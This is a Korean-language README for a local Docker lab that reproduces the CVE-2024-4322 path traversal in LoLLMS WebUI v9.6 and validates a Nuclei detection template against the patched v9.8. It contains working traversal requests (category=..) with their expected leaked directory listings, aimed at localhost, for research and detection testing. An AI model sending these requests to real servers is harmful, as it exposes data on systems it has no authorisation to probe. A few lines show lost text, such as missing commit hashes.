
POC_CVE-2024-4322
이 저장소는 CVE-2024-4322(LoLLMS WebUI v9.6의 경로 탐색(path traversal) 취약점)를 재현하고, 관련 Nuclei 템플릿이 LoLLMS WebUI v9.8과 일치하지 않음을 검증하기 위한 Docker 기반 로컬 랩을 제공합니다.
이 랩은 로컬, 소유, 또는 명시적으로 승인된 대상에 대해서만 사용하십시오.
LoLLMS WebUI v9.6의 /list_personalities 엔드포인트는 경로 탐색(path traversal)에 취약합니다. 사용자가 제어하는 category 매개변수는 검증 없이 personalities_zoo_path에 추가됩니다:
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'
category=..를 전송하면 요청이 의도된 personalities 디렉터리를 벗어나 상위 디렉터리의 내용을 나열할 수 있습니다.
예상 취약점 신호:
category= -> []
category=.. -> response contains "personalities_zoo"
수정된 v9.8 동작은 디렉터리 목록을 생성하기 전에 탐색 입력을 거부합니다.
모든 명령은 이 README가 있는 디렉터리에서 실행하십시오.
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server
다음 출력을 기다리십시오:
Uvicorn running on http://0.0.0.0:9600
로그 팔로우를 중지하려면 Ctrl-C를 누르십시오. 컨테이너는 계속 실행됩니다.
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .
예상 결과:
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]
순서는 다를 수 있습니다. 중요한 신호는 탐색 응답이 대조 응답과 다르며 personalities_zoo를 포함한다는 것입니다.
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug
예상 결과:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server
다음 출력을 기다리십시오:
Uvicorn running on http://0.0.0.0:9600
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'
예상 결과:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml
예상 결과:
[INF] Scan completed ... 0 matches found.

이 랩은 Windows 컨테이너 모드의 Docker Desktop이 필요합니다. 아래 명령을 이 디렉터리에서 PowerShell로 실행하십시오.
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server
다음 출력을 기다리십시오:
Uvicorn running on http://0.0.0.0:9600
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."
예상 결과:
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]
순서는 다를 수 있습니다. 중요한 신호는 탐색 응답이 대조 응답과 다르며 personalities_zoo를 포함한다는 것입니다.
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug
예상 결과:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

이 랩은 Windows 컨테이너 모드의 Docker Desktop이 필요합니다. 아래 명령을 이 디렉터리에서 PowerShell로 실행하십시오.
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server
다음 출력을 기다리십시오:
Uvicorn running on http://0.0.0.0:9600
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."
예상 결과:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml
예상 결과:
[INF] Scan completed ... 0 matches found.

Linux 컨테이너:
docker compose --profile patched down --rmi local
Windows 컨테이너:
docker compose --profile windows down
curl.jq.Linux 호스트에 jq가 없으면 분석 컨테이너를 사용하십시오:
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .
Windows에 Nuclei가 설치되어 있지 않으면 https://github.com/projectdiscovery/nuclei/releases에서 Windows 릴리스 바이너리를 다운로드하고, 압축을 푼 다음 압축 해제된 디렉터리에서 nuclei.exe를 직접 실행하십시오.
Dockerfile은 빌드 중에 과거 설치 프로그램을 패치하므로 오늘날에도 랩을 재현할 수 있습니다:
취약 버전 랩은 lollms-webui의 v9.6 태그를 복제합니다.
패치 버전 랩은 lollms-webui의 v9.8 태그를 복제합니다.
lollms_core 서브모듈 URL은 기존 소스 기록이 해당 위치로 이동했기 때문에 https://github.com/ParisNeo/lollms_legacy.git로 다시 작성됩니다.
버전 고정은 업스트림 Git 메타데이터와 대조하여 확인됩니다: v9.6은 e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, v9.8은 8a8e3a1c386321f641a014bf8f7029512ccad411입니다.
git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
해당 lollms_core 서브모듈 커밋은 각 태그 체크아웃에서 로 확인된 v9.6용 및 v9.8용 입니다.
깨진 불변식은 다음과 같습니다:
resolved path must stay inside the personalities directory
LoLLMS WebUI v9.8 이상은 category 경로가 파일 시스템 디렉터리 목록 로직에 도달하기 전에 이를 검증하거나 제한함으로써 문제를 해결합니다. 실제 배포 환경에서는 LoLLMS WebUI를 버전 9.8 이상으로 업그레이드하십시오.
| 환경 | 버전 | 서비스 | 호스트 URL | 예상 템플릿 결과 |
|---|
| Linux 취약 버전 | v9.6 | linux-vuln-server | http://127.0.0.1:9600 | 일치 |
| Linux 패치 버전 | v9.8 | linux-patched-server | http://127.0.0.1:9602 | 불일치 |
| Windows 취약 버전 | v9.6 | windows-vuln-server | http://127.0.0.1:9601 | 일치 |
| Windows 패치 버전 | v9.8 | windows-patched-server | http://127.0.0.1:9603 | 불일치 |
git ls-tree HEAD lollms_corecfb18f6f1091addf440347322441ab28005a2d3b6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49각 랩을 고정된 상태로 유지하기 위해 auto_update 및 auto_sync_* 옵션이 비활성화됩니다.
서버가 프롬프트 없이 시작될 수 있도록 헤드리스 구성 파일이 주입됩니다.
엔드포인트 검증에 필요하지 않은 무거운 종속성은 가능한 경우 건너뜁니다.
Windows 설치 프로그램은 임시 디렉터리를 만들고 오래된 재귀 서브모듈을 방지하도록 패치됩니다.